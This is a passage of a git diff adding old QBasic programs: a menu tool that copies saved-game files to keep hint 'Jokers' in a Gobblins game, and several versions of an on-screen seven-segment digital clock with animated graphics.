+x% = INT(RND * 8) + 1 +y% = INT(RND * 79) + 1 +SELECT CASE x% + CASE 1: l$ = a$ + CASE 2: l$ = b$ + CASE 3: l$ = c$ + CASE 4: l$ = d$ + CASE 5: l$ = e$ + CASE 6: l$ = f$ + CASE 7: l$ = g$ + CASE 8: l$ = h$ + CASE ELSE + END SELECT + + +LOCATE x% + 10, y%: PRINT MID$(l$, y%, 1) +LOOP WHILE kdb$ = "" + +LOCATE 11, 1: PRINT a$ +LOCATE 12, 1: PRINT b$ +LOCATE 13, 1: PRINT c$ +LOCATE 14, 1: PRINT d$ +LOCATE 15, 1: PRINT e$ +LOCATE 16, 1: PRINT f$ +LOCATE 17, 1: PRINT g$ +LOCATE 18, 1: PRINT h$ +LOCATE 21, 26: PRINT SPACE$(20) + + +T$(1) = " Conservar Joker's " +T$(2) = " Restaurar Joker's " +T$(3) = " - Creditos - " +T$(4) = " INFO:INFO:INFO " +COLOR 14 +FOR e = 1 TO 4 +LOCATE 2 + e, 30: PRINT T$(e) +NEXT +fin = false +lin = 1 + +DO + +kdb$ = INKEY$ +COLOR 14, 0 +IF kdb$ = CHR$(0) + "H" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin - 1 +IF kdb$ = CHR$(0) + "P" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin + 1 + +IF kdb$ = CHR$(27) THEN END + +IF kdb$ = CHR$(13) THEN + SELECT CASE lin + CASE 1 + SHELL "copy *.inf *.jd>nul" + IF CHR$(SCREEN(4, 1)) = "A" THEN + LOCATE 4, 1: PRINT SPACE$(80); + LOCATE 4, 30: PRINT T$(2) + COLOR 10 + mem$(1) = " Para que el conservador funcione debe haber una partida salvada " + mem$(2) = " y encontrarse este programa en el Subdirectorio de Gobblings ú3ú" + mem$(3) = " La persistencia de este error se debe a que no hay partidas salvadas " + mensajes + ELSE + END + END IF + + + CASE 2 + SHELL "copy *.jd *.inf>nul" + IF CHR$(SCREEN(5, 1)) = "A" THEN + LOCATE 5, 1: PRINT SPACE$(80); + LOCATE 5, 30: PRINT T$(3) + COLOR 10 + mem$(1) = " Para que el restaurador funcione debe haber " + mem$(2) = " un Joker's salvado " + mem$(3) = " La persistencia de este error se debe a que no hay Joker's Salvados " + mensajes + ELSE + END + END IF + + CASE 3 + COLOR 10 + mem$(1) = " Conservador de Joker's por:" + mem$(2) = " Jos‚ David Guill‚n" + mem$(3) = " c/Pintor Garcia Ramos n§5 2D" + mensajes + + CASE 4 + COLOR 10 + mem$(1) = " Salve una partida, salga del juego y escoja CONSERVAR JOKER'S " + mem$(2) = " Carge el juego nuevamente y utilice todos los Joker's que necesite" + mem$(3) = " Luego SALGA del juego y escoja RESTAURAR JOKER'S y carge el juego." + mensajes + + CASE ELSE + END SELECT +END IF + +IF lin = 0 THEN lin = 4 +IF lin = 5 THEN lin = 1 + +COLOR 14, 7 +LOCATE 2 + lin, 30: PRINT T$(lin) + +LOOP + + +SUB mensajes + + COLOR 10 + LOCATE 8, 1: PRINT mem$(1) + LOCATE 9, 1: PRINT mem$(2) + LOCATE 10, 1: PRINT mem$(3) + + SLEEP + COLOR 14, 0 + LOCATE 8, 1: PRINT SPACE$(80); + LOCATE 9, 1: PRINT SPACE$(80); + LOCATE 10, 1: PRINT SPACE$(80); + + +END SUB + diff --git a/BAS/HORA.BAS b/BAS/HORA.BAS new file mode 100644 index 0000000..61449b5 --- /dev/null +++ b/BAS/HORA.BAS @@ -0,0 +1,302 @@ +'Generador de un reloj digital en pantalla' +DEFINT A-Z + +DECLARE SUB PonNum (Digito$, Posicion) +DIM SHARED P(6), A +mir$ = "Reloj ( Jos‚ David Guill‚n 15/02/93 )" +IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": SYSTEM +IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": SYSTEM + +P(1) = 0 +P(2) = 80 +P(3) = 200 +P(4) = 280 + +P(5) = 400 +P(6) = 440 + +SCREEN 9 +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 + +LINE (170, 20)-(180, 30), 12, BF +LINE (170, 60)-(180, 70), 12, BF + + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 + + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + + +LINE (370, 50)-(380, 60), 12, BF +LINE (370, 80)-(380, 90), 12, BF + + +DO +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + +IF OldHor2$ <> LEFT$(Hora$, 1) THEN + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 +END IF +OldHor2$ = LEFT$(Hora$, 1) + +IF OldHor1$ <> MID$(Hora$, 2, 1) THEN + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 +END IF +OldHor1$ = MID$(Hora$, 2, 1) + +IF OldMin2$ <> LEFT$(Min$, 1) THEN + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 +END IF +OldMin2$ = LEFT$(Min$, 1) + +IF OldMin1$ <> MID$(Min$, 2, 1) THEN + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + +END IF +OldMin1$ = MID$(Min$, 2, 1) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + + seg$ = MID$(TIME$, 7, 1) + A = 5 + PonNum seg$, 5 + seg$ = MID$(TIME$, 8, 1) + A = 6 + PonNum seg$, 6 + + +LOOP + +SUB PonNum (Digito$, Posicion) + +SELECT CASE VAL(RTRIM$(LTRIM$(Digito$))) + CASE 0 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1 + + CASE 1 + D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + CASE 2 + D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1 + + + CASE 3 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 4 + D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0 + + + CASE 5 + D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 6 + D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 7 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + + CASE 8 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 9 + D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + +END SELECT + +IF Posicion < 5 THEN + +IF D1 = 1 THEN +PSET (0 + P(A), 0), 4 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 0), 0 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 0), 4 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 0), 0 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (69 + P(A), 0), 4 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 0), 0 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 42), 4 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 42), 0 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 42), 4 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 42), 0 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (69 + P(A), 42), 4 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 42), 0 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P0,0" + +END IF + +'******************************************************** +'**************** EL GRAN " ELSE " ********************* +'******************************************************** + +ELSE + +IF D1 = 1 THEN +PSET (0 + P(A), 45), 4 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P4,4" +ELSE +PSET (0 + P(A), 45), 0 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 45), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 45), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (37 + P(A), 45), 4 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 45), 0 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 67), 4 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P4,4" +ELSE +PSET (0 + P(A), 67), 0 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 67), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 67), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (37 + P(A), 67), 4 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 67), 0 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P0,0" + +END IF + +END IF + + + +END SUB + diff --git a/BAS/HORA2.BAS b/BAS/HORA2.BAS new file mode 100644 index 0000000..a673f86 --- /dev/null +++ b/BAS/HORA2.BAS @@ -0,0 +1,462 @@ +'Generador de un reloj digital en pantalla' +DEFINT A-Z + +DECLARE SUB PonNum (Digito$, Posicion) +DIM SHARED P(6), A +DIM OldX1(30), OldY1(30), OldX2(30), OldY2(30), OldX3(30), OldY3(30), OldX4(30), OldY4(30), OldX5(30), OldY5(30), OldTipo(100), OldX6(100), OldY6(100) +RANDOMIZE TIMER + +X(1) = 400: Y(1) = 175 +X(2) = 400: Y(2) = 175 +X(3) = 400: Y(3) = 175 + +X(4) = 400: Y(4) = 175 +X(5) = 400: Y(5) = 175 + +mir$ = "Reloj ( Jos‚ David Guill‚n 15/02/93 )" +IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": SYSTEM +IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": SYSTEM + +P(1) = 0 +P(2) = 80 +P(3) = 200 +P(4) = 280 + +P(5) = 400 +P(6) = 440 + +'P(1) = 0 +'P(2) = 75 +'P(3) = 195 +'P(4) = 275 +' +'P(5) = 395 +'P(6) = 435 + +SCREEN 9 +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 + +LINE (170, 20)-(180, 30), 12, BF +LINE (170, 60)-(180, 70), 12, BF + + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 + + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + + +LINE (370, 50)-(380, 60), 12, BF +LINE (370, 80)-(380, 90), 12, BF + + +DO +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + +IF OldHor2$ <> LEFT$(Hora$, 1) THEN + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 +END IF +OldHor2$ = LEFT$(Hora$, 1) + +IF OldHor1$ <> MID$(Hora$, 2, 1) THEN + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 +END IF +OldHor1$ = MID$(Hora$, 2, 1) + +IF OldMin2$ <> LEFT$(Min$, 1) THEN + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 +END IF +OldMin2$ = LEFT$(Min$, 1) + +IF OldMin1$ <> MID$(Min$, 2, 1) THEN + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + +END IF +OldMin1$ = MID$(Min$, 2, 1) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + + seg$ = MID$(TIME$, 7, 1) + A = 5 + PonNum seg$, 5 + seg$ = MID$(TIME$, 8, 1) + A = 6 + PonNum seg$, 6 + + +'*************************************************** +'* GRAFICO LINEAL ********************************** +'*************************************************** + +M(4) = INT(RND * 8) + 1 +M(3) = INT(RND * 8) + 1 +M(2) = INT(RND * 8) + 1 +M(5) = INT(RND * 8) + 1 +M(1) = INT(RND * 8) + 1 +M(6) = INT(RND * 8) + 1 + +DO + +Vez = Vez + 1 +Vz = Vz + 1 + +IF Vz >= 30 THEN Vz = 1 + +IF Vez >= 30 THEN Vez = 1 + +FOR Coor = 1 TO 6 + +SELECT CASE M(Coor) + CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) - 2 + CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 3 ELSE Y(Coor) = Y(Coor) - 2 + CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) - 2 + CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3 ELSE X(Coor) = X(Coor) - 2 + CASE 5: 'Pause + CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 3 ELSE Y(Coor) = Y(Coor) + 2 + CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) + 2 + CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3 ELSE X(Coor) = X(Coor) + 2 + CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) + 2 +END SELECT + +IF Coor = 6 THEN + IF X(6) >= 640 THEN X(6) = 640: Salida = 1 + IF X(6) <= 0 THEN X(6) = 0: Salida = 1 + IF Y(6) <= 150 THEN Y(6) = 150: Salida = 1 + IF Y(6) >= 350 THEN Y(6) = 350: Salida = 1 +ELSE + IF X(Coor) >= 640 THEN X(Coor) = 640: Salida = 1 + + IF X(Coor) <= 480 AND Y(Coor) < 250 THEN + X(Coor) = 650: Salida = 1 + ELSE + IF X(Coor) <= 0 THEN X(Coor) = 480: Salida = 1 + END IF + + + IF Y(Coor) >= 350 AND X(Corr) <= 400 THEN Y(Coor) = 350: Salida = 1 + IF Y(Coor) >= 350 THEN Y(Coor) = 0: Salida = 1 + IF Y(Coor) <= 0 THEN Y(Coor) = 350: Salida = 1 +END IF + +OldX6(1) = X(6) +OldY6(1) = Y(6) +OldTipo(1) = Tipo + +OldX1(1) = X(1) +OldX2(1) = X(2) +OldX3(1) = X(3) + +OldX4(1) = X(4) +OldX5(1) = X(5) + +OldY1(1) = Y(1) +OldY2(1) = Y(2) +OldY3(1) = Y(3) + +OldY4(1) = Y(4) +OldY5(1) = Y(5) + +NEXT + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1 +IF Vez1 >= 16 THEN Vez1 = 1 + + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1 +IF Vz1 >= 16 THEN Vz1 = 1 + + +LINE (X(1), Y(1))-(X(2), Y(2)), Vez1 +LINE (X(2), Y(2))-(X(3), Y(3)), Vez1 +LINE (X(3), Y(3))-(X(4), Y(4)), Vez1 + +LINE (X(4), Y(4))-(X(5), Y(5)), Vez1 +LINE (X(5), Y(5))-(X(1), Y(1)), Vez1 + +CIRCLE (X(6), Y(6)), 20, Vz1: ', , , Tipo + + A = 31 + + WHILE A >= 2 + + A = A - 1 + + OldX1(A) = OldX1(A - 1) + OldY1(A) = OldY1(A - 1) + + OldX2(A) = OldX2(A - 1) + OldY2(A) = OldY2(A - 1) + + OldX3(A) = OldX3(A - 1) + OldY3(A) = OldY3(A - 1) + + OldX4(A) = OldX4(A - 1) + OldY4(A) = OldY4(A - 1) + + OldX5(A) = OldX5(A - 1) + OldY5(A) = OldY5(A - 1) + + WEND + + A = 71 + + WHILE A >= 2 + A = A - 1 + OldX6(A) = OldX6(A - 1) + OldY6(A) = OldY6(A - 1) + OldTipo(A) = OldTipo(A - 1) + WEND + CIRCLE (OldX6(70), OldY6(70)), 20, 0 + + LINE (OldX1(30), OldY1(30))-(OldX2(30), OldY2(30)), 0 + LINE (OldX2(30), OldY2(30))-(OldX3(30), OldY3(30)), 0 + LINE (OldX3(30), OldY3(30))-(OldX4(30), OldY4(30)), 0 + + LINE (OldX4(30), OldY4(30))-(OldX5(30), OldY5(30)), 0 + LINE (OldX5(30), OldY5(30))-(OldX1(30), OldY1(30)), 0 + +LOOP WHILE Salida <> 1 + +Salida = 0 + +LOOP + + + +'*************************************************** +'* GRAFICOS DE PRUEBA ****************************** +'*************************************************** +grap: + +SUB PonNum (Digito$, Posicion) + +SELECT CASE VAL(RTRIM$(LTRIM$(Digito$))) + CASE 0 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1 + + CASE 1 + D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + CASE 2 + D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1 + + + CASE 3 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 4 + D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0 + + + CASE 5 + D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 6 + D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 7 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + + CASE 8 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 9 + D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + +END SELECT + +IF Posicion < 5 THEN + +IF D1 = 1 THEN +PSET (0 + P(A), 0), 4 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 0), 0 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 0), 4 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 0), 0 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (69 + P(A), 0), 4 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 0), 0 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 42), 4 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 42), 0 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 42), 4 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 42), 0 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (69 + P(A), 42), 4 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 42), 0 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P0,0" + +END IF + +'******************************************************** +'**************** EL GRAN " ELSE " ********************* +'******************************************************** + +ELSE + +IF D1 = 1 THEN +PSET (0 + P(A), 45), 4 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P4,4" +ELSE +PSET (0 + P(A), 45), 0 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 45), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 45), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (37 + P(A), 45), 4 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 45), 0 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 67), 4 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P4,4" +ELSE +PSET (0 + P(A), 67), 0 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 67), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 67), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (37 + P(A), 67), 4 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 67), 0 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P0,0" + +END IF + +END IF + + + +END SUB + diff --git a/BAS/HORA3.BAS b/BAS/HORA3.BAS new file mode 100644 index 0000000..68aeb4e --- /dev/null +++ b/BAS/HORA3.BAS @@ -0,0 +1,485 @@ +'Generador de un reloj digital en pantalla' +DEFINT A-Z +DECLARE SUB PonNum (Digito$, Posicion) +DIM SHARED P(6), A, veces +DIM OldX1(30), OldY1(30), OldX2(30), OldY2(30), OldX3(30), OldY3(30), OldX4(30), OldY4(30), OldX5(30), OldY5(30), OldTipo(100), OldX6(100), OldY6(100) +RANDOMIZE TIMER + +X(1) = 400: Y(1) = 175 +X(2) = 400: Y(2) = 175 +X(3) = 400: Y(3) = 175 +X(4) = 400: Y(4) = 175 +X(5) = 400: Y(5) = 175 +X(6) = 400: Y(5) = 175 + +mir$ = "Reloj ( Jos‚ David Guill‚n 15/02/93 )" +IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": GOTO errormo +IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": GOTO errormo + +P(1) = 0 +P(2) = 80 +P(3) = 200 +P(4) = 280 + +P(5) = 400 +P(6) = 440 + +'P(1) = 0 +'P(2) = 75 +'P(3) = 195 +'P(4) = 275 +' +'P(5) = 395 +'P(6) = 435 + +SCREEN 9 + +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 + +LINE (170, 20)-(180, 30), 12, BF +LINE (170, 60)-(180, 70), 12, BF + + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 + + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + + +LINE (370, 50)-(380, 60), 12, BF +LINE (370, 80)-(380, 90), 12, BF + + +DO +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + +IF OldHor2$ <> LEFT$(Hora$, 1) THEN + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 +END IF +OldHor2$ = LEFT$(Hora$, 1) + +IF OldHor1$ <> MID$(Hora$, 2, 1) THEN + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 +END IF +OldHor1$ = MID$(Hora$, 2, 1) + +IF OldMin2$ <> LEFT$(Min$, 1) THEN + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 +END IF +OldMin2$ = LEFT$(Min$, 1) + +IF OldMin1$ <> MID$(Min$, 2, 1) THEN + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + +END IF +OldMin1$ = MID$(Min$, 2, 1) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + + seg$ = MID$(TIME$, 7, 1) + A = 5 + PonNum seg$, 5 + seg$ = MID$(TIME$, 8, 1) + A = 6 + PonNum seg$, 6 + + +'*************************************************** +'* GRAFICO LINEAL ********************************** +'*************************************************** + + + +M(4) = INT(RND * 8) + 1 +M(3) = INT(RND * 8) + 1 +M(2) = INT(RND * 8) + 1 +M(5) = INT(RND * 8) + 1 +M(1) = INT(RND * 8) + 1 +qwert = qwert + 1 +IF qwert = 7 THEN qwert = 1 +IF Cont = 1 THEN M(6) = INT(RND * 7) + 1: M(6) = M(qwert) + +DO + +Vez = Vez + 1 +Vz = Vz + 1 + +IF Vz >= 30 THEN Vz = 1 + +IF Vez >= 30 THEN Vez = 1 + +FOR Coor = 1 TO 6 + +SELECT CASE M(Coor) + CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) - 2 + CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 3 ELSE Y(Coor) = Y(Coor) - 2 + CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) - 2 + CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3 ELSE X(Coor) = X(Coor) - 2 + CASE 5: 'Pause + CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 3 ELSE Y(Coor) = Y(Coor) + 2 + CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) + 2 + CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3 ELSE X(Coor) = X(Coor) + 2 + CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) + 2 +END SELECT +Cont = 0 + +IF Coor = 6 THEN + IF X(6) >= 640 THEN X(6) = 640: Salida = 1: Cont = 1 + IF X(6) <= 0 THEN X(6) = 0: Salida = 1: Cont = 1 + IF Y(6) <= 150 THEN Y(6) = 150: Salida = 1: Cont = 1 + IF Y(6) >= 350 THEN Y(6) = 350: Salida = 1: Cont = 1 +ELSE + IF X(Coor) >= 640 THEN X(Coor) = 640: Salida = 1 + IF X(Coor) <= 485 AND Y(Coor) < 250 THEN + X(Coor) = 650: Salida = 1 + ELSEIF X(Coor) <= 0 THEN X(Coor) = 